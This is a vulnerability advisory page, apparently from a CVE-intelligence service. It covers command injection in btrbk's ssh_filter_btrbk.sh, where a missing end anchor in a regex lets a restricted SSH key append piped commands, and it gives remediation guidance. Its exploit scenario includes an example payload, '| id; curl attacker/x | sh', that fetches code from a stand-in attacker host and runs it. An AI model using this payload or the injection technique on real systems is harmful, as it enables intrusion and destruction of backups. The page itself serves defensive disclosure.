Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPossess restricted forced-command SSH key
-
DeliveryCraft valid btrbk prefix + trailing pipe
-
ExploitBypass start-anchored allowlist regex
-
ExecutionExecute appended command
-
ImpactRun arbitrary commands as backup account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the deployment uses ssh_filter_btrbk.sh as an authorized_keys forced command on the backup-target SSH account, and that the attacker already controls a key subject to that restriction (PR:L) - the whole vulnerability is an escape from that specific restriction. Deployments that do NOT use ssh_filter_btrbk.sh in authorized_keys are explicitly not affected. Affected versions are 0.29.0 through 0.32.6 (fixed in 0.32.7). No user interaction is needed and no non-default toggle beyond the presence of the ssh_filter forced command; the limiting factor is that this is a restricted-peer-to-host trust escape, not an unauthenticated network attack. |
| Impact | This is a genuine but access-gated authorization-bypass leading to command execution. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H = 8.7) is well-calibrated and I agree with it: it correctly encodes PR:L, because exploitation is only possible for a principal who ALREADY holds an authorized SSH key whose forced command is ssh_filter_btrbk.sh. This is not a pre-auth internet-facing RCE - it is a privilege/trust-boundary escape available to an already-authorized, deliberately-restricted backup peer. The source diff confirms the root cause unambiguously: allow_stream_match was anchored with '^' but not with a terminating '$', so a valid btrbk command prefix could be followed by an attacker-appended '| arbitrary_command'. EPSS, CISA KEV, and public POC status are all absent from the input - no public exploit is identified at time of analysis, and there is no evidence of active exploitation. However, the fix is a one-character anchor change and the vulnerable pattern is trivially reasoned about from the public commit, so exploit development difficulty is low for anyone who reads the advisory. Net: not a mass-exploitation emergency (no KEV, no EPSS signal, narrow deployment, requires an existing restricted key), but a high-severity patch-promptly issue for the specific population that relies on ssh_filter_btrbk.sh as a security boundary - for them the allowlist they trust is bypassable. |
| Exploit ScenarioDerived | An organization gives a backup host a restricted SSH key on the storage target, using ssh_filter_btrbk.sh as a forced command so that peer can only run btrbk backup operations. A malicious or compromised backup host sends a command consisting of a legitimate btrbk prefix followed by a trailing pipe, e.g. a valid stream command plus '| id; curl attacker/x | sh', which passes the start-anchored allowlist and executes as the backup-target SSH account. No public POC is identified in the provided data, but the fix commit publicly discloses the exact missing-anchor flaw. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 18, 2026
Command injection in btrbk's ssh_filter_btrbk.sh helper (versions 0.29.0 through 0.32.6) lets a user who already holds an SSH key restricted by that script append a trailing pipe command to an otherwise permitted btrbk invocation, executing arbitrary commands with the privileges of the backup-target SSH account. The root cause is a missing end-of-string anchor in the allow_stream_match regular expression, so the filter validates only a command prefix and ignores everything after it. Exploitation is gated: it requires that the deployment actually use ssh_filter_btrbk.sh as an authorized_keys forced command (deployments that do not are explicitly unaffected), and an attacker must already control a key subject to that restriction (PR:L); no public exploit has been identified at time of analysis. The issue is fixed in btrbk 0.32.7 via upstream commit 29ca3c0.
RemediationAI
Vendor-released patch: btrbk 0.32.7 - upgrade every host that runs the ssh_filter_btrbk.sh forced command to 0.32.7 or later, or cherry-pick commit 29ca3c093205395bdeb9dd98677ab4139c458aec, which adds the missing end-of-string anchor to allow_stream_match; details are in GHSA-pf45-7g54-65h5. Where an immediate upgrade is not possible, the practical compensating control is to stop using ssh_filter_btrbk.sh as the authorized_keys forced command on the backup-target account: this removes the injection path entirely, but it also removes the command allowlisting, so you must replace it with tighter access controls - e.g., dedicate the backup SSH account to a locked-down shell that only accepts the specific btrbk invocations you need, or restrict the key to a non-login account with filesystem permissions limited to the backup destination. Alternatively, review the authorized_keys entries and revoke or restrict any key whose forced command is ssh_filter_btrbk.sh; the trade-off is that legitimate backup peers using those keys will lose access until re-provisioned. Note that rotating keys alone does not fix the bug for keys that remain restricted by the vulnerable filter, since the bypass applies to any key subject to the forced command.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
btrbk ships ssh_filter_btrbk.sh, a shell helper intended to be installed as an authorized_keys 'command=' forced command so that a remote backup peer can only run a narrow allowlist of btrbk invocations on the backup target. The script builds a shell regex named allow_stream_match by concatenating stream_in_match, allow_cmd_match and stream_out_match, and prior to the fix it anchored only the beginning of the string ('^...') without a terminating '$'. Because the match was prefix-based, an attacker could supply a valid btrbk command prefix followed by ' | <arbitrary command>' and the filter would still accept the line, passing the full pipeline to /bin/sh. The commit 29ca3c093205395bdeb9dd98677ab4139c458aec changes stream_out_match to '( \| ${mbuffer_match})?( \| ${compress_match})?' and, critically, appends '$' to allow_stream_match, so the entire command line must now match. This is classic OS command injection (CWE-78): untrusted input (the SSH command string) is incorporated into a shell command without effective neutralization. The affected component is the digint:btrbk product (CPE cpe:2.3:a:digint:btrbk:*:*:*:*:*:*:*:*), a Btrfs snapshot and remote-backup tool, and the vulnerable surface is the SSH command filter rather than btrbk's snapshot logic itself.
Know when Btrbk gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attacker must already hold a restricted forced-command SSH key (PR:L), then trivially appends a shell command (AC:L) for full command execution as that account (C/I/A:H).
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
btrbk is a tool for creating snapshots and remote backups of Btrfs subvolumes. From 0.29.0 until 0.32.7, btrbk's ssh_filter_btrbk.sh constructs allow_stream_match with a start anchor but without an end-of-string anchor for the complete command. A user restricted through an authorized_keys forced command can append a trailing pipe command after a valid btrbk command prefix, bypassing the allowlist and executing arbitrary commands with the privileges of the backup-target SSH account. Deployments that do not use ssh_filter_btrbk.sh in authorized_keys are not affected. This issue is fixed in version 0.32.7.
Technical POC Analysis
CWE-78 (OS command injection) in the Btrfs backup tool btrbk's sshfilterbtrbk.sh helper, shipped with versions 0.29.0 through 0.32.6.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
A command-injection flaw in btrbk versions 0.29.0 through 0.32.6 allows anyone holding an already-restricted SSH key to run arbitrary commands as the backup-target SSH account, but only in deployments that use the ssh_filter_btrbk.sh helper as an authorized_keys forced command. Because the affected account sits on the backup target, successful abuse could let an insider or a holder of a compromised key tamper with or destroy the very backups the organization relies on for recovery. Leadership should care that this is a recovery-integrity risk in a gated but high-severity scenario, and that remediation requires both upgrading btrbk and re-examining how backup SSH access is authorized.
Apply vendor patch (btrbk 0.32.7). Where immediate upgrade is not possible, remove ssh_filter_btrbk.sh as the authorized_keys forced command or replace it with a wrapper enforcing an anchored command allow-list, restrict the backup-target SSH account to trusted source addresses, rotate keys subject to that restriction, and monitor that account for unexpected command execution.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-83054
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB